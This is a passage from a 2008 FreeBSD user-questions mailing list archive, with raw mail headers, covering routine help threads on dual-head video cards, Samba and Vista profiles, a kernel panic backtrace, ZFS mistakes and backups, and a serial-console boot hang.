(UTC) (envelope-from mikes@suso.org) Received: from arvo.suso.org (mail.suso.org [216.9.132.134]) by mx1.freebsd.org (Postfix) with ESMTP id 1A0E78FC19 for ; Tue, 2 Dec 2008 02:25:13 +0000 (UTC) (envelope-from mikes@suso.org) Received: from webmail.suso.org (unknown [216.9.132.158]) by arvo.suso.org (Postfix) with ESMTP id A315D88085 for ; Tue, 2 Dec 2008 02:02:22 +0000 (GMT) Received: from 98.220.3.224 (SquirrelMail authenticated user mikes) by webmail.suso.org with HTTP; Tue, 2 Dec 2008 02:05:17 -0000 (UTC) Message-ID: <4018.98.220.3.224.1228183517.squirrel@webmail.suso.org> Date: Tue, 2 Dec 2008 02:05:17 -0000 (UTC) From: mikes@suso.org To: freebsd-questions@freebsd.org User-Agent: SquirrelMail/1.4.10a MIME-Version: 1.0 Content-Type: text/plain;charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Priority: 3 (Normal) Importance: Normal X-XheaderVersion: 1.1 X-UserAgent: Subject: AGP video card for dual-head operation X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 02:25:14 -0000 I used a Matrox G450 dual-head card with earlier versions of FreeBSD/Xfree but have finally had to upgrade the hardware. Getting the G450 to display both monitors using zinerama took a bit of time, but once set it worked well. I purchased an ATI Radeon 9600 All-in-wonder primarily for doing some video capture under MS Windows XP, but the system dual-boots FreeBSD 7.1-PRERELEASE, kernel and ports current as of 11/28/2008. X server is 7.3 patch 2; the ati driver is 6.9.0 (I can't access the system right now, so that may be wrong). I've been unable to get the ATI card to display anything on the secondary monitor (display is turned off when X11 starts up); "xrandr" shows "VGA-1" as connected and "VGA-0" as disconnected, and nothing I've been able to do with xorg.conf has changed that ("xrandr --auto" does nothing other than blank the primary screen). I have seen some references to a bug in the ati/radeon driver which is "fixed in the next version". I can't use the G450 either; there appears to be a bug in the mga driver (which is not installed by default but the vesa driver crashes with the G450) which stops xrandr form working (or at least that's what I found in a Google search). There's a lot of confusing information out there since, as I understand it, xorg 6.x and xorg 7.x do xinerama differently. Is there anyone who has gotten an ATI 9600 AIW to work in dual-head mode, and if so, how did you do it? Is there a better AGP card which supports a similar video capture function under MS Windows XP? Mike Squires UN*X at home since 1985, but almost all on VT100 displays From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 02:42:50 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id A7DB31065673 for ; Tue, 2 Dec 2008 02:42:50 +0000 (UTC) (envelope-from on@cs.ait.ac.th) Received: from mail.cs.ait.ac.th (mail.cs.ait.ac.th [192.41.170.16]) by mx1.freebsd.org (Postfix) with ESMTP id 3745D8FC16 for ; Tue, 2 Dec 2008 02:42:49 +0000 (UTC) (envelope-from on@cs.ait.ac.th) Received: from banyan.cs.ait.ac.th (banyan.cs.ait.ac.th [192.41.170.5]) by mail.cs.ait.ac.th (8.13.1/8.13.1) with ESMTP id mB22fTTP013776 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 2 Dec 2008 09:41:29 +0700 (ICT) (envelope-from on@banyan.cs.ait.ac.th) Received: (from on@localhost) by banyan.cs.ait.ac.th (8.14.2/8.12.11) id mB22gjHS074260; Tue, 2 Dec 2008 09:42:45 +0700 (ICT) Date: Tue, 2 Dec 2008 09:42:45 +0700 (ICT) Message-Id: <200812020242.mB22gjHS074260@banyan.cs.ait.ac.th> From: Olivier Nicole To: freebsd-questions@freebsd.org In-reply-to: <18740.36349.523718.591189@jerusalem.litteratus.org> (message from Robert Huff on Mon, 1 Dec 2008 20:23:09 -0500) References: <20081201231440.GA30682@thought.org> <20081202010730.GA15970@slackbox.xs4all.nl> <18740.36349.523718.591189@jerusalem.litteratus.org> X-Virus-Scanned: on CSIM by amavisd-milter (http://www.amavis.org/) Subject: Re: any way to turn a pdf file into something OCR-able? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 02:42:50 -0000 > > 1) Some PDFs are just wrappers around JPEG images. In this case > > there is no text for pdftotext to convert => epic fail. > > In this case "convert" from the ImageMagick port will get you a > series of .jpg/.gif/.. Read the manual carefully before > attempting; also note this can be a slow process. pdfimages (from ports graphics/xpdf) can also do that, maybe at a lesser cost. Bests, Olivier From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 04:19:24 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id A52DE106564A for ; Tue, 2 Dec 2008 04:19:23 +0000 (UTC) (envelope-from tajudd@gmail.com) Received: from ey-out-2122.google.com (ey-out-2122.google.com [74.125.78.26]) by mx1.freebsd.org (Postfix) with ESMTP id 37A758FC13 for ; Tue, 2 Dec 2008 04:19:22 +0000 (UTC) (envelope-from tajudd@gmail.com) Received: by ey-out-2122.google.com with SMTP id 6so1155779eyi.7 for ; Mon, 01 Dec 2008 20:19:22 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:message-id:date:from:to :subject:cc:in-reply-to:mime-version:content-type:references; bh=LE8cQUNDXwkO+VvmNZmldK2SfYtaSSC4wSpBfNegh0I=; b=UddmA/U7BubNZ25cxm05HoCqGJKiV/vJHl/zx8cpAEivKzOBy0hRopvo90m8rVZwTD rrfFaYk0GBwiGZIBxA2j36kuU3+XsgODS/RLhZSm/WvdtfCMmnwLRQg9TlIRVtBWiDhU q8iZf4+cjlkVcKgWuapVSzwDhEi+0aSTzBdiA= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=message-id:date:from:to:subject:cc:in-reply-to:mime-version :content-type:references; b=L8J6B54+EngLPyXBE4CeSEIvVedwMigLrVQHcBge4EGx+cAQtiCqVqot+lvXb9Kf+D 7nqxw0gVBJ4i/87d/IoKYIQAqq6r6isjG9FJdcAEgNVB+9zOtVkWIh9H7XL7S22svvCy v3YuSM54cYKtIz/OM5CXlt3HUJwIKWlrvznUE= Received: by 10.210.125.13 with SMTP id x13mr13455734ebc.198.1228191561959; Mon, 01 Dec 2008 20:19:21 -0800 (PST) Received: by 10.210.17.12 with HTTP; Mon, 1 Dec 2008 20:19:21 -0800 (PST) Message-ID: Date: Mon, 1 Dec 2008 21:19:21 -0700 From: "Tim Judd" To: "Peter Ulrich Kruppa" In-Reply-To: <49342488.2090905@pukruppa.net> MIME-Version: 1.0 References: <49342488.2090905@pukruppa.net> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Cc: FreeBSD-Questions Subject: Re: Samba, WinVista and Roaming Profiles X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 04:19:24 -0000 On Mon, Dec 1, 2008 at 10:53 AM, Peter Ulrich Kruppa wrote: > Hello, > > I hope my question isn't too off-topic for this list, but usually some > people come up with good ideas ... > > We have got a FreeBSD Samba Server (set up as PDC) and about 100 WinXP > desktops and laptops. The WinXP machines can log into the network, connect > to home directories and shares and download (roaming) profiles. Everything > works fine with them. > > Now we have purchased 2 new WinVista desktops. Login and shares work all > right, but they can't download the profiles. They will deliver an error > message saying they lack appropriate permissions. > > Any idea what is happening there? > > Thanks for your help and greetings, > > Uli. > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to " > freebsd-questions-unsubscribe@freebsd.org" > http://lists.samba.org/archive/samba-technical/2007-April/053051.html May the power of Google help your next question's answer. Long story short, Vista's "profile" is incompatible with anything older. It must use a "V2" of the profile. From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 04:50:51 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 38290106564A for ; Tue, 2 Dec 2008 04:50:51 +0000 (UTC) (envelope-from fbsd.questions@rachie.is-a-geek.net) Received: from mail.rachie.is-a-geek.net (rachie.is-a-geek.net [66.230.99.27]) by mx1.freebsd.org (Postfix) with ESMTP id D12548FC12 for ; Tue, 2 Dec 2008 04:50:50 +0000 (UTC) (envelope-from fbsd.questions@rachie.is-a-geek.net) Received: from localhost (mail.rachie.is-a-geek.net [192.168.2.101]) by mail.rachie.is-a-geek.net (Postfix) with ESMTP id 1C655AFC1C6; Mon, 1 Dec 2008 19:50:50 -0900 (AKST) From: Mel To: freebsd-questions@freebsd.org Date: Tue, 2 Dec 2008 05:49:38 +0100 User-Agent: KMail/1.9.7 References: <20081201101311.C81770@pop.citytel.net> <200812012031.25424.fbsd.questions@rachie.is-a-geek.net> <20081201122714.D81770@pop.citytel.net> In-Reply-To: <20081201122714.D81770@pop.citytel.net> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200812020549.41700.fbsd.questions@rachie.is-a-geek.net> Cc: Keith Subject: Re: Page Fault. X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 04:50:51 -0000 On Monday 01 December 2008 21:34:14 Keith wrote: > On Mon, 1 Dec 2008, Mel wrote: > |->On Monday 01 December 2008 19:32:59 Keith wrote: > |->> > |->> ====== > |->> kernel trap 12 with interrupts disabled > |->> > |->> Fatal trap 12: page fault while in kernel mode > |->> cpuid = 2; apic id = 02 > |->> fault virtual address = 0x104 > |->> fault code = supervisor read, page not present > |->> instruction pointer = 0x20:0xc066ca51 > |->> stack pointer = 0x28:0xe6ec0c90 > |->> frame pointer = 0x28:0xe6ec0c9c > |->> code segment = base 0x0, limit 0xfffff, type 0x1b > |->> = DPL 0, pres 1, def32 1, gran 1 > |->> processor eflags = resume, IOPL = 0 > |->> current process = 9 (thread taskq) > |->> trap number = 12 > |->> panic: page fault > |->> Uptime: 6d6h23m45s > |->> #0 doadump () at pcpu.h:165 > |->> 165 __asm __volatile("movl %%fs:0,%0" : "=r" (td)); > |->> ============ > |->> > |->frame 0 useless. You need the frame after calltrap(). > |->And: > |-> > |->> instruction pointer = 0x20:0xc066ca51 > |->list *0xc066ca51 > |-> > |->Generally a bt will show the needed information. > |->Likely cause: file system corruption, caused by background_fsck, but a > |->backtrace should show more. > > Ok, so how does one fix corruption if that is the case? Here is a > backtrace, but means nothing to me unfortunately. > > (kgdb) backtrace > #0 doadump () at pcpu.h:165 > #1 0xc067582a in boot (howto=260) at ../../../kern/kern_shutdown.c:409 > #2 0xc0675b51 in panic (fmt=0xc08f090b "%s") at > ../../../kern/kern_shutdown.c:565 > > #3 0xc0899f1c in trap_fatal (frame=0xe6ec0c50, eva=260) at > ../../../i386/i386/trap.c:837 > > #4 0xc089968e in trap (frame={tf_fs = 8, tf_es = -920256472, tf_ds = > -420741080, tf_edi = -936184704, tf_esi = 4, tf_ebp = -420737892, tf_isp > = -420737924, tf_ebx = -920236452, tf_edx = 6, tf_ecx = -936306488, tf_eax > = 1, tf_trapno = 12, tf_err = 0, tf_eip = -1067005359, tf_cs = 32, > tf_eflags = 65538, tf_esp = -930065784, tf_ss = 4}) at > ../../../i386/i386/trap.c:270 > > #5 0xc08859ca in calltrap () at ../../../i386/i386/exception.s:139 > > #6 0xc066ca51 in _mtx_lock_sleep (m=0xc9264e5c, tid=3358782592, opts=0, > file=0x0, line=0) at ../../../kern/kern_mutex.c:546 > > #7 0xc06bbdb6 in unp_gc (arg=0x0, pending=1) at > ../../../kern/uipc_usrreq.c:1714 This has been fixed: http://www.freebsd.org/cgi/query-pr.cgi?pr=113823 -- Mel Problem with today's modular software: they start with the modules and never get to the software part. From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 06:40:27 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 57AD41065677 for ; Tue, 2 Dec 2008 06:40:27 +0000 (UTC) (envelope-from valentin.bud@gmail.com) Received: from mail-ew0-f21.google.com (mail-ew0-f21.google.com [209.85.219.21]) by mx1.freebsd.org (Postfix) with ESMTP id C610C8FC0A for ; Tue, 2 Dec 2008 06:40:26 +0000 (UTC) (envelope-from valentin.bud@gmail.com) Received: by ewy14 with SMTP id 14so83225ewy.19 for ; Mon, 01 Dec 2008 22:40:25 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:message-id:date:from:to :subject:cc:in-reply-to:mime-version:content-type :content-transfer-encoding:content-disposition:references; bh=zWx8DpMxuQ8pKxePlms6uiAJM9i4GSF/9z5eWG8eWj4=; b=rXDB4AsFJruV5TMxNPIYbZM0er2wunO4HOU9oE6Gcm3x59xJnXOeNPyDrskAubpAln 1pS7ueL/fGEl8kYKTGOHIrOfBQmQwKar52t7h1wWWzfQYKXfbq22tJpHMAbPd0Vv5uvJ OCTBjkSPj1/GkC+kiy4dX/bRb2+v6z3zdT2ew= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=message-id:date:from:to:subject:cc:in-reply-to:mime-version :content-type:content-transfer-encoding:content-disposition :references; b=x3A7csjHX6tRpAWX3j5xW2xfFM9N7bYaq5li3Ac6bIpD6Hyp3zaog0lmjV4Kf0G2U2 MfyZh8SyL+S6I7i65QQ8m+i/D93KDrx0VrK8ZDYb2z0+pj2LgdsG+a5DPbfEbbpRX+01 l/GZreYjg9WlmPQ5QewyfEX2bpEcdVVjdQOPE= Received: by 10.210.129.19 with SMTP id b19mr9608403ebd.40.1228200025350; Mon, 01 Dec 2008 22:40:25 -0800 (PST) Received: by 10.210.117.7 with HTTP; Mon, 1 Dec 2008 22:40:25 -0800 (PST) Message-ID: <139b44430812012240r7f978643o86c3a80b51b22582@mail.gmail.com> Date: Tue, 2 Dec 2008 08:40:25 +0200 From: "Valentin Bud" To: "Reinis Ivanovs" In-Reply-To: <5b826e210812011636l71dc6d05n25a14acdd24b396d@mail.gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Content-Disposition: inline References: <5b826e210812011636l71dc6d05n25a14acdd24b396d@mail.gmail.com> Cc: freebsd-questions@freebsd.org Subject: Re: Reversing a ZFS mistake X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 06:40:27 -0000 On Tue, Dec 2, 2008 at 2:36 AM, Reinis Ivanovs wrote: > Hello, > > It seems I've made a mistake using ZFS, and now my /usr/local/ is > empty. I wanted to create a snapshot of a directory inside of it, so I > ran "zfs create tank/usr/local" and "zfs create tank/usr/local/www" as Maybe it's just a typo but "zfs create" actually creates a file system (data set), doesn't do a snapshot of a certain directory. > I had seen in the guides I'd been using. That worked, but the > filesystems created were empty. As I found out later, doing what I did > on Solaris would have created the filesystems but not mounted them, > but on FreeBSD they were mounted automatically, and the previous > contents hidden. The question now is, how do I get my files back? The > system is crippled without /usr/local/ and I can't unmount or destroy > it, because it says that the device is busy. Any help would be > appreciated. > > R. > > -- > http://untu.ms/ > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" > From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 06:52:50 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id DDD7A106567C for ; Tue, 2 Dec 2008 06:52:49 +0000 (UTC) (envelope-from valentin.bud@gmail.com) Received: from nf-out-0910.google.com (nf-out-0910.google.com [64.233.182.191]) by mx1.freebsd.org (Postfix) with ESMTP id 717808FC13 for ; Tue, 2 Dec 2008 06:52:49 +0000 (UTC) (envelope-from valentin.bud@gmail.com) Received: by nf-out-0910.google.com with SMTP id h3so1511802nfh.33 for ; Mon, 01 Dec 2008 22:52:48 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:message-id:date:from:to :subject:cc:in-reply-to:mime-version:content-type :content-transfer-encoding:content-disposition:references; bh=ysx3XMtPWE4gqb6MrrWrqo3uFGRFrwjivOGIlmWRxfw=; b=XWTiHgvJc7NMEfa11bguTU2e+xeE3e322L1cmQbYRDHPauH6/STai6U8IxSOEpN+FJ Fo0rXux50OlPtjirREczQGtxdzeNOOdiKg4haHyTzsO8oRvr/JiISjWoIftpq0i+xILK VaA6oqRX1yQdjZ9FvRHHlJEH07MDJV1CaeuBQ= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=message-id:date:from:to:subject:cc:in-reply-to:mime-version :content-type:content-transfer-encoding:content-disposition :references; b=uKi41sMqUT6IfFRhYg2Q0I++0VICNR/mc3jo5HxTg8fqI9btmmBs0VB8SuKlzC+8vh nhpbaB3jPBMREmHBBPcAhMK0dDN1a1xg7Ry4pcTiCmCg2r/z/jFst/c0ABFl9KMClZuh 49vIC2REevQD+c6wFizOId4D+Lkv/N9zyfkpU= Received: by 10.210.29.11 with SMTP id c11mr5975472ebc.141.1228200768108; Mon, 01 Dec 2008 22:52:48 -0800 (PST) Received: by 10.210.117.7 with HTTP; Mon, 1 Dec 2008 22:52:48 -0800 (PST) Message-ID: <139b44430812012252u45786fa6q888cf93d5f65bb67@mail.gmail.com> Date: Tue, 2 Dec 2008 08:52:48 +0200 From: "Valentin Bud" To: "Kirk Strauser" In-Reply-To: <200812011321.43430.kirk@strauser.com> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Content-Disposition: inline References: <200812010959.15647.kirk@strauser.com> <20081201184722.S10680@wojtek.tensor.gdynia.pl> <200812011321.43430.kirk@strauser.com> Cc: Wojciech Puchar , freebsd-questions@freebsd.org Subject: Re: Disenchanted with ZFS; alternatives? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 06:52:50 -0000 On Mon, Dec 1, 2008 at 9:21 PM, Kirk Strauser wrote: > On Monday 01 December 2008 11:49:46 Wojciech Puchar wrote: > >> UFS is excellent. your problem is that you like to have "lots of >> filesystems". why don't just make one or one per disk? > > For all the usual reasons: faster fsck, ability to set attributes on each > filesystem (noexec, noatime, ro), a runaway process writing to /tmp won't cause > problems in /var, etc. > > A big local reason is that Amanda is much easier to configure when you're using > a bunch of filesystems because it runs tar with --one-file-system set. If /var > is separate from / and I want to back them up separately, I just tell Amanda > to dump / and /var. If /var is part of / then I have to say "dump / except > for /var (and /tmp and /usr and ...)". Why don't you use the ZFS backup tools: snapshots, zfs send | receive (this in case you have a second box with zfs) or zfs send | [ tar | gzip | bzip ] to compress the snapshot and do whatever you want with it. The snapshots backup file system (data sets) and it's ultra fast: # du -h /home/user 20G /home/user # time zfs snapshot tank/home/user@021208 zfs snapshot tank/home/user@021208 0.00s user 0.00s system 0% cpu 0.855 total Now the compression will take a little more but you get the idea. a great day, v > >> i have one per disk/mirror configuration everywhere except one place where >> i made separate filesystem for /var/spool/squid for some reasons. > > Oh, there are definitely advantages to that setup. It just complicates certain > admin functions (see above). With something like ZFS that makes creating new > filesystems trivially easy, they're nice to use. > >> tell me what's your needs and how many/what disks you have. > > Right now I have a 750GB (with another on order) and a 320GB. The box is a > multi-purpose home server with mail, several websites, and a bunch of local > file streaming (from MP3 and ripped DVDs to Apple's Time Machine storage). > >> UFS is best-performer on real load, runs on almost no RAM, but uses more >> if available for caching. > > That's my main beef with ZFS at the moment. I don't mind if it uses a lot of > RAM - that's what I bought it for! - but that it doesn't seem to use it > effectively (at least on my workload). > > - Kirk > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" > From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 07:07:48 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 84AC3106564A for ; Tue, 2 Dec 2008 07:07:48 +0000 (UTC) (envelope-from lijimlee@gmail.com) Received: from fg-out-1718.google.com (fg-out-1718.google.com [72.14.220.152]) by mx1.freebsd.org (Postfix) with ESMTP id 1B4668FC13 for ; Tue, 2 Dec 2008 07:07:47 +0000 (UTC) (envelope-from lijimlee@gmail.com) Received: by fg-out-1718.google.com with SMTP id l26so2146694fgb.35 for ; Mon, 01 Dec 2008 23:07:46 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:message-id:date:from:to :subject:mime-version:content-type:content-transfer-encoding :content-disposition; bh=ohVHcoldJ7TdzQStW2l9cprLuYqXJUUA/fN+bG/lZME=; b=lmOmprz3VbFsK2hLL2b07NhIghcgc2vZAk24SINnctTUxa7YoFv2jKfjdDYk+0Ovd0 iuJK0UsgsVg2NRB6+A58OjWoDTnJLJIcgBcFepetxBurjZkTSczyT2zkUx1BYxUZ6LXQ rjGQmbCAKSP42Y9mNF5nBaq4E6cbSwoZ6uDtk= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=message-id:date:from:to:subject:mime-version:content-type :content-transfer-encoding:content-disposition; b=mzVPdHIav521VZ5uUHUqs1OYqrYrVqX5T/p005DvAOLbPciViYON4ZdOnqcxjtd3yY yc1e4TK9UL4gkQRydm8HidnKpjpxn6zehXjfLUu68JGnNYjn9WAPdbzQJ+LpiETPRf37 JzPgZm+FWgMrF5wIvm+gvAiHEYpAT/yEj1LAc= Received: by 10.86.29.8 with SMTP id c8mr6919034fgc.19.1228200077912; Mon, 01 Dec 2008 22:41:17 -0800 (PST) Received: by 10.86.90.3 with HTTP; Mon, 1 Dec 2008 22:41:17 -0800 (PST) Message-ID: <8fd8f02c0812012241t2a8517c5n5e5f69d965795b07@mail.gmail.com> Date: Mon, 1 Dec 2008 22:41:17 -0800 From: Ji To: freebsd-questions@freebsd.org MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Content-Disposition: inline Subject: mount problem after enabling serial console X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 07:07:48 -0000 Hi all, I ran into a weird problem when enabling serial console on the FreeBSD 7.0. Your help is really appreciated. I installed FreeBSD 7.0 amd64 (from the CD) on a Dell R200, and then enabled the serial console by adding the following to /boot/loader.conf hint.sio.0.flags="0x30" console="comconsole vidconsole" comconsole_speed="9600" boot_multicons="yes" And also replaced the following line on /etc/ttys ttyd0 "/usr/libexec/getty std.9600" dialup off secure with ttyd0 "/usr/libexec/getty std.9600" vt220 on secure. During rebooting, I found that the system hangs with the following messages and interrupt looks totally messed up " ... Trying to mount root from ufs:/dev/ad4s1a Manual root filesystem specification: : Mount using filesystem eg. ufs:da0s1a ? List valid disk boot devices Abort manual input mountroot> ..." And to my surprise, if I keep rebooting again and again without doing any fixing, the problem comes and goes, which confused me. When the problem is not present, the serial console looks working normally. Can anyone help me with that? Thanks a lot. Jim PS. the booting messages ============================================================= Copyright (c) 1979, 1980, 1983, 1986, 1988, 1989, 1991, 1992, 1993, 1994 The Regents of the University of California. All rights reserved. FreeBSD is a registered trademark of The FreeBSD Foundation. FreeBSD 7.0-RELEASE #0: Sun Feb 24 10:35:36 UTC 2008 root@driscoll.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC Timecounter "i8254" frequency 1193182 Hz quality 0 CPU: Intel(R) Xeon(R) CPU E3110 @ 3.00GHz (3000.23-MHz K8-class CPU) Origin = "GenuineIntel" Id = 0x10676 Stepping = 6 Features=0xbfebfbff Features2=0x8e3fd> AMD Features=0x20100800 AMD Features2=0x1 Cores per package: 2 ... kbd1 at kbdmux0 ath_hal: 0.9.20.3 (AR5210, AR5211, AR5212, RF5111, RF5112, RF2413, RF5413) hptrr: HPT RocketRAID controller driver v1.1 (Feb 24 2008 10:34:18) cpu0 on motherboard est0: on cpu0 est: CPU supports Enhanced Speedstep, but is not recognized. est: cpu_vendor GenuineIntel, msr 613091f06000613 device_attach: est0 attach returned 6 p4tcc0: on cpu0 pcib0: pcibus 0 on motherboard pci0: on pcib0 pcib1: irq 15 at device 1.0 on pci0 pci1: on pcib1 em0: port 0xece0-0xecff mem 0xdfbc0000-0xdfbdffff,0xdfbe0000-0xdfbfffff irq 15 at device 0.0 on pci1 em0: Unable to allocate bus resource: interrupt em0: Allocation of PCI resources failed device_attach: em0 attach returned 6 pcib2: irq 15 at device 28.0 on pci0 pci2: on pcib2 em1: port 0xdce0-0xdcff mem 0xdfcc0000-0xdfcdffff,0xdfce0000-0xdfcfffff irq 15 at device 0.0 on pci2 em1: Unable to allocate bus resource: interrupt em1: Allocation of PCI resources failed device_attach: em1 attach returned 6 pcib3: irq 15 at device 28.4 on pci0 pci3: on pcib3 bge0: mem 0xdfdf0000-0xdfdfffff irq 15 at device 0.0 on pci3 bge0: couldn't map interrupt device_attach: bge0 attach returned 6 pcib4: irq 14 at device 28.5 on pci0 pci4: on pcib4 bge1: mem 0xdfef0000-0xdfefffff irq 14 at device 0.0 on pci4 bge1: couldn't map interrupt device_attach: bge1 attach returned 6 uhci0: port 0xbc60-0xbc7f irq 11 at device 29.0 on pci0 uhci0: Could not allocate irq device_attach: uhci0 attach returned 6 uhci1: port 0xbc80-0xbc9f irq 10 at device 29.1 on pci0 uhci1: Could not allocate irq device_attach: uhci1 attach returned 6 uhci2: port 0xbca0-0xbcbf irq 11 at device 29.2 on pci0 uhci2: Could not allocate irq device_attach: uhci2 attach returned 6 ehci0: mem 0xdfaffc00-0xdfafffff irq 11 at device 29.7 on pci0 ehci0: Could not allocate irq device_attach: ehci0 attach returned 6 pcib5: at device 30.0 on pci0 pci5: on pcib5 vgapci0: port 0xcc00-0xccff mem 0xd0000000-0xd7ffffff,0xdfff0000-0xdfffffff irq 5 at device 5.0 on pci5 isab0: at device 31.0 on pci0 isa0: on isab0 atapci0: port 0xbc30-0xbc37,0xbc28-0xbc2b,0xbc38-0xbc3f,0xbc2c-0xbc2f,0xbc40-0xbc4f,0xbc50-0xbc5f irq 6 at device 31.2 on pci0 atapci0: unable to map interrupt device_attach: atapci0 attach returned 6 orm0: at iomem 0xc0000-0xc8fff,0xc9000-0xc9fff,0xca000-0xcb7ff,0xec000-0xeffff on isa0 atkbdc0: at port 0x60,0x64 on isa0 fdc0: cannot reserve interrupt line ppc0: cannot reserve I/O port range sc0: at flags 0x100 on isa0 sc0: VGA <16 virtual consoles, flags=0x300> sio0: configured irq 4 not in bitmap of probed irqs 0 sio0: port may not be enabled sio0: configured irq 4 not in bitmap of probed irqs 0 sio0: port may not be enabled sio0 at port 0x3f8-0x3ff irq 4 flags 0x30 on isa0 sio0: type 16550A, console sio1: configured irq 3 not in bitmap of probed irqs 0 sio1: port may not be enabled vga0: at port 0x3c0-0x3df iomem 0xa0000-0xbffff on isa0 Timecounter "TSC" frequency 3000226239 Hz quality 800 Timecounters tick every 1.000 msec hptrr: no controller detected. Trying to mount root from ufs:/dev/ad4s1a Manual root filesystem specification: : Mount using filesystem eg. ufs:da0s1a ? List valid disk boot devices Abort manual input mountroot> ? List of GEOM managed disk devices: Manual root filesystem specification: : Mount using filesystem eg. ufs:da0s1a ? List valid disk boot devices Abort manual input mountroot> ufs:ad4s1a Trying to mount root from ufs:ad4s1a Manual root filesystem specification: : Mount using filesystem eg. ufs:da0s1a ? List valid disk boot devices Abort manual input mountroot> ? List of GEOM managed disk devices: Manual root filesystem specification: : Mount using filesystem eg. ufs:da0s1a ? List valid disk boot devices Abort manual input mountroot> ufs:/ad4s1a Trying to mount root from ufs:/ad4s1a Manual root filesystem specification: : Mount using filesystem eg. ufs:da0s1a ? List valid disk boot devices Abort manual input mountroot> From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 07:08:05 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id B929C1065675 for ; Tue, 2 Dec 2008 07:08:05 +0000 (UTC) (envelope-from jevv.cr@gmail.com) Received: from wa-out-1112.google.com 